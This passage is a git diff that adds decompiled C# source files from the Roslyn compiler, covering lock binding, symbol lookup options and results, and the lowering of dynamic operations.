+namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LockBinder : LockOrUsingBinder +{ + private readonly LockStatementSyntax _syntax; + + protected override ExpressionSyntax TargetExpressionSyntax => _syntax.Expression; + + public LockBinder(Binder enclosing, LockStatementSyntax syntax) + : base(enclosing) + { + _syntax = syntax; + } + + internal override BoundStatement BindLockStatementParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + ExpressionSyntax targetExpressionSyntax = TargetExpressionSyntax; + BoundExpression boundExpression = BindTargetExpression(diagnostics, originalBinder); + TypeSymbol type = boundExpression.Type; + bool hasErrors = false; + if ((object)type == null) + { + if (boundExpression.ConstantValueOpt != ConstantValue.Null || base.Compilation.FeatureStrictEnabled) + { + Binder.Error(diagnostics, ErrorCode.ERR_LockNeedsReference, (CSharpSyntaxNode)targetExpressionSyntax, new object[1] { boundExpression.Display }); + hasErrors = true; + } + } + else if (!type.IsReferenceType && (type.IsValueType || base.Compilation.FeatureStrictEnabled)) + { + Binder.Error(diagnostics, ErrorCode.ERR_LockNeedsReference, (CSharpSyntaxNode)targetExpressionSyntax, new object[1] { type }); + hasErrors = true; + } + BoundStatement body = originalBinder.BindPossibleEmbeddedStatement(_syntax.Statement, diagnostics); + return new BoundLockStatement((SyntaxNode)(object)_syntax, boundExpression, body, hasErrors); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LockOrUsingBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LockOrUsingBinder.cs new file mode 100644 index 0000000..f69803e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LockOrUsingBinder.cs @@ -0,0 +1,76 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class LockOrUsingBinder : LocalScopeBinder +{ + private class ExpressionAndDiagnostics + { + public readonly BoundExpression Expression; + + public readonly ImmutableBindingDiagnostic Diagnostics; + + public ExpressionAndDiagnostics(BoundExpression expression, ImmutableBindingDiagnostic diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + Expression = expression; + Diagnostics = diagnostics; + } + } + + private ImmutableHashSet _lazyLockedOrDisposedVariables; + + private ExpressionAndDiagnostics _lazyExpressionAndDiagnostics; + + protected abstract ExpressionSyntax TargetExpressionSyntax { get; } + + internal sealed override ImmutableHashSet LockedOrDisposedVariables + { + get + { + if (_lazyLockedOrDisposedVariables == null) + { + ImmutableHashSet immutableHashSet = base.Next.LockedOrDisposedVariables; + ExpressionSyntax targetExpressionSyntax = TargetExpressionSyntax; + if (targetExpressionSyntax != null && targetExpressionSyntax.Kind() == SyntaxKind.IdentifierName) + { + BoundExpression boundExpression = BindTargetExpression(null, GetBinder((SyntaxNode)(object)targetExpressionSyntax.Parent)); + switch (boundExpression.Kind) + { + case BoundKind.Local: + immutableHashSet = immutableHashSet.Add(((BoundLocal)boundExpression).LocalSymbol); + break; + case BoundKind.Parameter: + immutableHashSet = immutableHashSet.Add(((BoundParameter)boundExpression).ParameterSymbol); + break; + } + } + Interlocked.CompareExchange(ref _lazyLockedOrDisposedVariables, immutableHashSet, null); + } + return _lazyLockedOrDisposedVariables; + } + } + + internal LockOrUsingBinder(Binder enclosing) + : base(enclosing) + { + } + + protected BoundExpression BindTargetExpression(BindingDiagnosticBag diagnostics, Binder originalBinder, TypeSymbol targetTypeOpt = null) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + if (_lazyExpressionAndDiagnostics == null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + BoundExpression expression = originalBinder.BindValue(TargetExpressionSyntax, instance, BindValueKind.RValueOrMethodGroup); + Interlocked.CompareExchange(value: new ExpressionAndDiagnostics(((object)targetTypeOpt == null) ? originalBinder.BindToNaturalType(expression, instance) : originalBinder.GenerateConversionForAssignment(targetTypeOpt, expression, instance), ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree()), location1: ref _lazyExpressionAndDiagnostics, comparand: null); + } + ((BindingDiagnosticBag)(object)diagnostics)?.AddRange(_lazyExpressionAndDiagnostics.Diagnostics, true); + return _lazyExpressionAndDiagnostics.Expression; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupFilter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupFilter.cs new file mode 100644 index 0000000..d471ea7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupFilter.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal delegate SingleLookupResult LookupFilter(Symbol sym); diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupOptionExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupOptionExtensions.cs new file mode 100644 index 0000000..e8e8c7f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupOptionExtensions.cs @@ -0,0 +1,71 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class LookupOptionExtensions +{ + internal static bool AreValid(this LookupOptions options) + { + if (options == LookupOptions.Default) + { + return true; + } + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default) + { + return options == LookupOptions.LabelsOnly; + } + LookupOptions lookupOptions = LookupOptions.MustBeInstance | LookupOptions.MustNotBeInstance; + if ((options & lookupOptions) == lookupOptions) + { + return false; + } + if ((options & (LookupOptions.MustNotBeNamespace | LookupOptions.MustNotBeMethodTypeParameter)) != LookupOptions.Default && (options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly)) != LookupOptions.Default) + { + return false; + } + return OnlyOneBitSet(options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly | LookupOptions.AllMethodsOnArityZero)); + } + + internal static void ThrowIfInvalid(this LookupOptions options) + { + if (!options.AreValid()) + { + throw new ArgumentException(CSharpResources.LookupOptionsHasInvalidCombo); + } + } + + private static bool OnlyOneBitSet(LookupOptions o) + { + return (o & (o - 1)) == 0; + } + + internal static bool CanConsiderMembers(this LookupOptions options) + { + return (options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly | LookupOptions.LabelsOnly)) == 0; + } + + internal static bool CanConsiderLocals(this LookupOptions options) + { + return (options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly | LookupOptions.LabelsOnly)) == 0; + } + + internal static bool CanConsiderTypes(this LookupOptions options) + { + return (options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.MustBeInvocableIfMember | LookupOptions.MustBeInstance | LookupOptions.LabelsOnly)) == 0; + } + + internal static bool CanConsiderNamespaces(this LookupOptions options) + { + return (options & (LookupOptions.MustBeInvocableIfMember | LookupOptions.MustBeInstance | LookupOptions.MustNotBeNamespace | LookupOptions.LabelsOnly)) == 0; + } + + internal static bool IsAttributeTypeLookup(this LookupOptions options) + { + return (options & LookupOptions.AttributeTypeOnly) == LookupOptions.AttributeTypeOnly; + } + + internal static bool IsVerbatimNameAttributeTypeLookup(this LookupOptions options) + { + return (options & LookupOptions.VerbatimNameAttributeTypeOnly) == LookupOptions.VerbatimNameAttributeTypeOnly; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupOptions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupOptions.cs new file mode 100644 index 0000000..12867d1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupOptions.cs @@ -0,0 +1,25 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +[Flags] +internal enum LookupOptions +{ + Default = 0, + NamespaceAliasesOnly = 2, + NamespacesOrTypesOnly = 4, + MustBeInvocableIfMember = 8, + MustBeInstance = 0x10, + MustNotBeInstance = 0x20, + MustNotBeNamespace = 0x40, + AllMethodsOnArityZero = 0x80, + LabelsOnly = 0x100, + UseBaseReferenceAccessibility = 0x200, + IncludeExtensionMethods = 0x400, + AttributeTypeOnly = 0x804, + VerbatimNameAttributeTypeOnly = 0x1804, + AllNamedTypesOnArityZero = 0x2000, + MustNotBeMethodTypeParameter = 0x4000, + MustBeAbstractOrVirtual = 0x8000, + MustNotBeParameter = 0x10000 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResult.cs new file mode 100644 index 0000000..0afd007 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResult.cs @@ -0,0 +1,214 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LookupResult +{ + private LookupResultKind _kind; + + private readonly ArrayBuilder _symbolList; + + private DiagnosticInfo _error; + + private readonly ObjectPool _pool; + + private static readonly ObjectPool s_poolInstance = CreatePool(); + + internal bool IsClear + { + get + { + if (_kind == LookupResultKind.Empty && _error == null) + { + return _symbolList.Count == 0; + } + return false; + } + } + + internal LookupResultKind Kind => _kind; + + internal Symbol SingleSymbolOrDefault + { + get + { + if (_symbolList.Count != 1) + { + return null; + } + return _symbolList[0]; + } + } + + internal ArrayBuilder Symbols => _symbolList; + + internal DiagnosticInfo Error => _error; + + internal bool IsMultiViable => Kind == LookupResultKind.Viable; + + internal bool IsSingleViable + { + get + { + if (Kind == LookupResultKind.Viable) + { + return _symbolList.Count == 1; + } + return false; + } + } + + private LookupResult(ObjectPool pool) + { + _pool = pool; + _kind = LookupResultKind.Empty; + _symbolList = new ArrayBuilder(); + _error = null; + } + + internal void Clear() + { + _kind = LookupResultKind.Empty; + _symbolList.Clear(); + _error = null; + } + + internal static SingleLookupResult Good(Symbol symbol) + { + return new SingleLookupResult(LookupResultKind.Viable, symbol, null); + } + + internal static SingleLookupResult WrongArity(Symbol symbol, DiagnosticInfo error) + { + return new SingleLookupResult(LookupResultKind.WrongArity, symbol, error); + } + + internal static SingleLookupResult Empty() + { + return new SingleLookupResult(LookupResultKind.Empty, null, null); + } + + internal static SingleLookupResult NotReferencable(Symbol symbol, DiagnosticInfo error) + { + return new SingleLookupResult(LookupResultKind.NotReferencable, symbol, error); + } + + internal static SingleLookupResult StaticInstanceMismatch(Symbol symbol, DiagnosticInfo error) + { + return new SingleLookupResult(LookupResultKind.StaticInstanceMismatch, symbol, error); + } + + internal static SingleLookupResult Inaccessible(Symbol symbol, DiagnosticInfo error) + { + return new SingleLookupResult(LookupResultKind.Inaccessible, symbol, error); + } + + internal static SingleLookupResult NotInvocable(Symbol unwrappedSymbol, Symbol symbol, bool diagnose) + { + CSDiagnosticInfo error = (diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_NonInvocableMemberCalled, unwrappedSymbol) : null); + return new SingleLookupResult(LookupResultKind.NotInvocable, symbol, (DiagnosticInfo)(object)error); + } + + internal static SingleLookupResult NotLabel(Symbol symbol, DiagnosticInfo error) + { + return new SingleLookupResult(LookupResultKind.NotLabel, symbol, error); + } + + internal static SingleLookupResult NotTypeOrNamespace(Symbol symbol, DiagnosticInfo error) + { + return new SingleLookupResult(LookupResultKind.NotATypeOrNamespace, symbol, error); + } + + internal static SingleLookupResult NotTypeOrNamespace(Symbol unwrappedSymbol, Symbol symbol, bool diagnose) + { + CSDiagnosticInfo error = (diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_BadSKknown, unwrappedSymbol.Name, unwrappedSymbol.GetKindText(), MessageID.IDS_SK_TYPE.Localize()) : null); + return new SingleLookupResult(LookupResultKind.NotATypeOrNamespace, symbol, (DiagnosticInfo)(object)error); + } + + internal static SingleLookupResult NotAnAttributeType(Symbol symbol, DiagnosticInfo error) + { + return new SingleLookupResult(LookupResultKind.NotAnAttributeType, symbol, error); + } + + internal void SetFrom(SingleLookupResult other) + { + _kind = other.Kind; + _symbolList.Clear(); + _symbolList.Add(other.Symbol); + _error = other.Error; + } + + internal void SetFrom(LookupResult other) + { + _kind = other._kind; + _symbolList.Clear(); + _symbolList.AddRange(other._symbolList); + _error = other._error; + } + + internal void SetFrom(DiagnosticInfo error) + { + Clear(); + _error = error; + } + + internal void MergePrioritized(LookupResult other) + { + if ((int)other.Kind > (int)Kind) + { + SetFrom(other); + } + } + + internal void MergeEqual(LookupResult other) + { + if ((int)Kind <= (int)other.Kind) + { + if ((int)other.Kind > (int)Kind) + { + SetFrom(other); + } + else if (Kind == LookupResultKind.Viable) + { + _symbolList.AddRange(other._symbolList); + } + } + } + + internal void MergeEqual(SingleLookupResult result) + { + if ((int)Kind <= (int)result.Kind) + { + if ((int)result.Kind > (int)Kind) + { + SetFrom(result); + } + else if ((object)result.Symbol != null) + { + _symbolList.Add(result.Symbol); + } + } + } + + internal static ObjectPool CreatePool() + { + ObjectPool pool = null; + pool = new ObjectPool((Factory)(() => new LookupResult(pool)), 128, true); + return pool; + } + + internal static LookupResult GetInstance() + { + return s_poolInstance.Allocate(); + } + + internal void Free() + { + Clear(); + if (_pool != null) + { + _pool.Free(this); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResultKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResultKind.cs new file mode 100644 index 0000000..4d4459d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResultKind.cs @@ -0,0 +1,21 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum LookupResultKind : byte +{ + Empty, + NotATypeOrNamespace, + NotAnAttributeType, + WrongArity, + NotCreatable, + Inaccessible, + NotReferencable, + NotAValue, + NotAVariable, + NotInvocable, + NotLabel, + StaticInstanceMismatch, + OverloadResolutionFailure, + Ambiguous, + MemberGroup, + Viable +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResultKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResultKindExtensions.cs new file mode 100644 index 0000000..87da00a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupResultKindExtensions.cs @@ -0,0 +1,46 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class LookupResultKindExtensions +{ + public static CandidateReason ToCandidateReason(this LookupResultKind resultKind) + { + return (CandidateReason)(resultKind switch + { + LookupResultKind.Empty => 0, + LookupResultKind.NotATypeOrNamespace => 1, + LookupResultKind.NotAnAttributeType => 4, + LookupResultKind.WrongArity => 5, + LookupResultKind.Inaccessible => 8, + LookupResultKind.NotCreatable => 6, + LookupResultKind.NotReferencable => 7, + LookupResultKind.NotAValue => 9, + LookupResultKind.NotAVariable => 10, + LookupResultKind.NotInvocable => 11, + LookupResultKind.StaticInstanceMismatch => 12, + LookupResultKind.OverloadResolutionFailure => 13, + LookupResultKind.Ambiguous => 15, + LookupResultKind.MemberGroup => 16, + LookupResultKind.Viable => 0, + _ => throw ExceptionUtilities.UnexpectedValue((object)resultKind), + }); + } + + public static LookupResultKind WorseResultKind(this LookupResultKind resultKind1, LookupResultKind resultKind2) + { + if (resultKind1 == LookupResultKind.Empty) + { + return resultKind2; + } + if (resultKind2 == LookupResultKind.Empty) + { + return resultKind1; + } + if ((int)resultKind1 < (int)resultKind2) + { + return resultKind1; + } + return resultKind2; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupSymbolsInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupSymbolsInfo.cs new file mode 100644 index 0000000..0ad6112 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LookupSymbolsInfo.cs @@ -0,0 +1,28 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LookupSymbolsInfo : AbstractLookupSymbolsInfo +{ + private const int poolSize = 64; + + private static readonly ObjectPool s_pool = new ObjectPool((Factory)(() => new LookupSymbolsInfo()), 64, true); + + private LookupSymbolsInfo() + : base((IEqualityComparer)StringComparer.Ordinal) + { + } + + public void Free() + { + base.Clear(); + s_pool.Free(this); + } + + public static LookupSymbolsInfo GetInstance() + { + return s_pool.Allocate(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoopBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoopBinder.cs new file mode 100644 index 0000000..0d664be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoopBinder.cs @@ -0,0 +1,21 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class LoopBinder : LocalScopeBinder +{ + private readonly GeneratedLabelSymbol _breakLabel; + + private readonly GeneratedLabelSymbol _continueLabel; + + internal override GeneratedLabelSymbol BreakLabel => _breakLabel; + + internal override GeneratedLabelSymbol ContinueLabel => _continueLabel; + + protected LoopBinder(Binder enclosing) + : base(enclosing) + { + _breakLabel = new GeneratedLabelSymbol("break"); + _continueLabel = new GeneratedLabelSymbol("continue"); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoweredDynamicOperation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoweredDynamicOperation.cs new file mode 100644 index 0000000..6f0da44 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoweredDynamicOperation.cs @@ -0,0 +1,49 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct LoweredDynamicOperation(SyntheticBoundNodeFactory? factory, BoundExpression? siteInitialization, BoundExpression siteInvocation, TypeSymbol resultType, ImmutableArray temps) +{ + private readonly SyntheticBoundNodeFactory? _factory = factory; + + private readonly TypeSymbol _resultType = resultType; + + private readonly ImmutableArray _temps = temps; + + public readonly BoundExpression? SiteInitialization = siteInitialization; + + public readonly BoundExpression SiteInvocation = siteInvocation; + + public static LoweredDynamicOperation Bad(BoundExpression? loweredReceiver, ImmutableArray loweredArguments, BoundExpression? loweredRight, TypeSymbol resultType) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.AddOptional(instance, loweredReceiver); + instance.AddRange(loweredArguments); + ArrayBuilderExtensions.AddOptional(instance, loweredRight); + return Bad(resultType, instance.ToImmutableAndFree()); + } + + public static LoweredDynamicOperation Bad(TypeSymbol resultType, ImmutableArray children) + { + BoundBadExpression siteInvocation = new BoundBadExpression(children[0].Syntax, LookupResultKind.Empty, ImmutableArray.Empty, children, resultType); + return new LoweredDynamicOperation(null, null, siteInvocation, resultType, default(ImmutableArray)); + } + + public BoundExpression ToExpression() + { + if (_factory == null) + { + return SiteInvocation; + } + if (_temps.IsDefaultOrEmpty) + { + return _factory.Sequence(new BoundExpression[1] { SiteInitialization }, SiteInvocation, _resultType); + } + return new BoundSequence(_factory.Syntax, _temps, ImmutableArray.Create(SiteInitialization), SiteInvocation, _resultType) + { + WasCompilerGenerated = true + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoweredDynamicOperationFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoweredDynamicOperationFactory.cs new file mode 100644 index 0000000..1c94f7b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LoweredDynamicOperationFactory.cs @@ -0,0 +1,652 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LoweredDynamicOperationFactory +{ + [Flags] + private enum CSharpBinderFlags + { + None = 0, + CheckedContext = 1, + InvokeSimpleName = 2, + InvokeSpecialName = 4, + BinaryOperationLogical = 8, + ConvertExplicit = 0x10, + ConvertArrayIndex = 0x20, + ResultIndexed = 0x40, + ValueFromCompoundAssignment = 0x80, + ResultDiscarded = 0x100 + } + + [Flags] + private enum CSharpArgumentInfoFlags + { + None = 0, + UseCompileTimeType = 1, + Constant = 2, + NamedArgument = 4, + IsRef = 8, + IsOut = 0x10, + IsStaticType = 0x20 + } + + private readonly SyntheticBoundNodeFactory _factory; + + private readonly int _methodOrdinal; + + private readonly int _localFunctionOrdinal; + + private NamedTypeSymbol? _currentDynamicCallSiteContainer; + + private int _callSiteIdDispenser; + + public int MethodOrdinal => _methodOrdinal; + + internal LoweredDynamicOperationFactory(SyntheticBoundNodeFactory factory, int methodOrdinal, int localFunctionOrdinal = -1) + { + _factory = factory; + _methodOrdinal = methodOrdinal; + _localFunctionOrdinal = localFunctionOrdinal; + } + + internal LoweredDynamicOperation MakeDynamicConversion(BoundExpression loweredOperand, bool isExplicit, bool isArrayIndex, bool isChecked, TypeSymbol resultType) + { + _factory.Syntax = loweredOperand.Syntax; + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + if (isChecked) + { + cSharpBinderFlags |= CSharpBinderFlags.CheckedContext; + } + if (isExplicit) + { + cSharpBinderFlags |= CSharpBinderFlags.ConvertExplicit; + } + if (isArrayIndex) + { + cSharpBinderFlags |= CSharpBinderFlags.ConvertArrayIndex; + } + ImmutableArray loweredArguments = ImmutableArray.Create(loweredOperand); + BoundExpression binderConstruction = MakeBinderConstruction((WellKnownMember)148, new BoundExpression[3] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.Typeof(resultType), + _factory.TypeofDynamicOperationContextType() + }); + return MakeDynamicOperation(binderConstruction, null, (RefKind)0, loweredArguments, default(ImmutableArray), null, resultType); + } + + internal LoweredDynamicOperation MakeDynamicUnaryOperator(UnaryOperatorKind operatorKind, BoundExpression loweredOperand, TypeSymbol resultType) + { + _factory.Syntax = loweredOperand.Syntax; + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + if (operatorKind.IsChecked()) + { + cSharpBinderFlags |= CSharpBinderFlags.CheckedContext; + } + ImmutableArray loweredArguments = ImmutableArray.Create(loweredOperand); + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + BoundExpression binderConstruction = (((object)argumentInfoFactory != null) ? MakeBinderConstruction((WellKnownMember)157, new BoundExpression[4] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.Literal((int)operatorKind.ToExpressionType()), + _factory.TypeofDynamicOperationContextType(), + MakeCallSiteArgumentInfos(argumentInfoFactory, loweredArguments, default(ImmutableArray), default(ImmutableArray), null, (RefKind)0) + }) : null); + return MakeDynamicOperation(binderConstruction, null, (RefKind)0, loweredArguments, default(ImmutableArray), null, resultType); + } + + internal LoweredDynamicOperation MakeDynamicBinaryOperator(BinaryOperatorKind operatorKind, BoundExpression loweredLeft, BoundExpression loweredRight, bool isCompoundAssignment, TypeSymbol resultType) + { + _factory.Syntax = loweredLeft.Syntax; + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + if (operatorKind.IsChecked()) + { + cSharpBinderFlags |= CSharpBinderFlags.CheckedContext; + } + if (operatorKind.IsLogical()) + { + cSharpBinderFlags |= CSharpBinderFlags.BinaryOperationLogical; + } + ImmutableArray loweredArguments = ImmutableArray.Create(loweredLeft, loweredRight); + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + BoundExpression binderConstruction = (((object)argumentInfoFactory != null) ? MakeBinderConstruction((WellKnownMember)147, new BoundExpression[4] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.Literal((int)operatorKind.ToExpressionType(isCompoundAssignment)), + _factory.TypeofDynamicOperationContextType(), + MakeCallSiteArgumentInfos(argumentInfoFactory, loweredArguments, default(ImmutableArray), default(ImmutableArray), null, (RefKind)0) + }) : null); + return MakeDynamicOperation(binderConstruction, null, (RefKind)0, loweredArguments, default(ImmutableArray), null, resultType); + } + + internal LoweredDynamicOperation MakeDynamicMemberInvocation(string name, BoundExpression loweredReceiver, ImmutableArray typeArgumentsWithAnnotations, ImmutableArray loweredArguments, ImmutableArray argumentNames, ImmutableArray refKinds, bool hasImplicitReceiver, bool resultDiscarded) + { + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + _factory.Syntax = loweredReceiver.Syntax; + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + if (hasImplicitReceiver && _factory.TopLevelMethod.RequiresInstanceReceiver) + { + cSharpBinderFlags |= CSharpBinderFlags.InvokeSimpleName; + } + TypeSymbol resultType; + if (resultDiscarded) + { + cSharpBinderFlags |= CSharpBinderFlags.ResultDiscarded; + resultType = _factory.SpecialType((SpecialType)6); + } + else + { + resultType = AssemblySymbol.DynamicType; + } + RefKind receiverRefKind; + bool receiverIsStaticType; + if (loweredReceiver.Kind == BoundKind.TypeExpression) + { + loweredReceiver = _factory.Typeof(((BoundTypeExpression)loweredReceiver).Type); + receiverRefKind = (RefKind)0; + receiverIsStaticType = true; + } + else + { + receiverRefKind = GetReceiverRefKind(loweredReceiver); + receiverIsStaticType = false; + } + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + BoundExpression binderConstruction = (((object)argumentInfoFactory != null) ? MakeBinderConstruction((WellKnownMember)153, new BoundExpression[5] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.Literal(name), + typeArgumentsWithAnnotations.IsDefaultOrEmpty ? _factory.Null(_factory.WellKnownArrayType((WellKnownType)61)) : _factory.ArrayOrEmpty(_factory.WellKnownType((WellKnownType)61), _factory.TypeOfs(typeArgumentsWithAnnotations)), + _factory.TypeofDynamicOperationContextType(), + MakeCallSiteArgumentInfos(argumentInfoFactory, loweredArguments, argumentNames, refKinds, loweredReceiver, receiverRefKind, receiverIsStaticType) + }) : null); + return MakeDynamicOperation(binderConstruction, loweredReceiver, receiverRefKind, loweredArguments, refKinds, null, resultType); + } + + internal LoweredDynamicOperation MakeDynamicEventAccessorInvocation(string accessorName, BoundExpression loweredReceiver, BoundExpression loweredHandler) + { + _factory.Syntax = loweredReceiver.Syntax; + CSharpBinderFlags value = CSharpBinderFlags.InvokeSpecialName | CSharpBinderFlags.ResultDiscarded; + ImmutableArray empty = ImmutableArray.Empty; + TypeSymbol dynamicType = AssemblySymbol.DynamicType; + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + object obj; + if ((object)argumentInfoFactory == null) + { + obj = null; + } + else + { + BoundExpression[] obj2 = new BoundExpression[5] + { + _factory.Literal((int)value), + _factory.Literal(accessorName), + _factory.Null(_factory.WellKnownArrayType((WellKnownType)61)), + _factory.TypeofDynamicOperationContextType(), + null + }; + obj2[4] = MakeCallSiteArgumentInfos(argumentInfoFactory, empty, default(ImmutableArray), default(ImmutableArray), loweredReceiver, (RefKind)0, receiverIsStaticType: false, loweredHandler); + obj = MakeBinderConstruction((WellKnownMember)153, obj2); + } + BoundExpression binderConstruction = (BoundExpression)obj; + return MakeDynamicOperation(binderConstruction, loweredReceiver, (RefKind)0, empty, default(ImmutableArray), loweredHandler, dynamicType); + } + + internal LoweredDynamicOperation MakeDynamicInvocation(BoundExpression loweredReceiver, ImmutableArray loweredArguments, ImmutableArray argumentNames, ImmutableArray refKinds, bool resultDiscarded) + { + _factory.Syntax = loweredReceiver.Syntax; + CSharpBinderFlags cSharpBinderFlags = CSharpBinderFlags.None; + TypeSymbol resultType; + if (resultDiscarded) + { + cSharpBinderFlags |= CSharpBinderFlags.ResultDiscarded; + resultType = _factory.SpecialType((SpecialType)6); + } + else + { + resultType = AssemblySymbol.DynamicType; + } + MethodSymbol argumentInfoFactory = GetArgumentInfoFactory(); + BoundExpression binderConstruction = (((object)argumentInfoFactory != null) ? MakeBinderConstruction((WellKnownMember)151, new BoundExpression[3] + { + _factory.Literal((int)cSharpBinderFlags), + _factory.TypeofDynamicOperationContextType(), + MakeCallSiteArgumentInfos(argumentInfoFactory, loweredArguments, argumentNames, refKinds, loweredReceiver, (RefKind)0) + }) : null); + return MakeDynamicOperation(binderConstruction, loweredReceiver, (RefKind)0, loweredArguments, 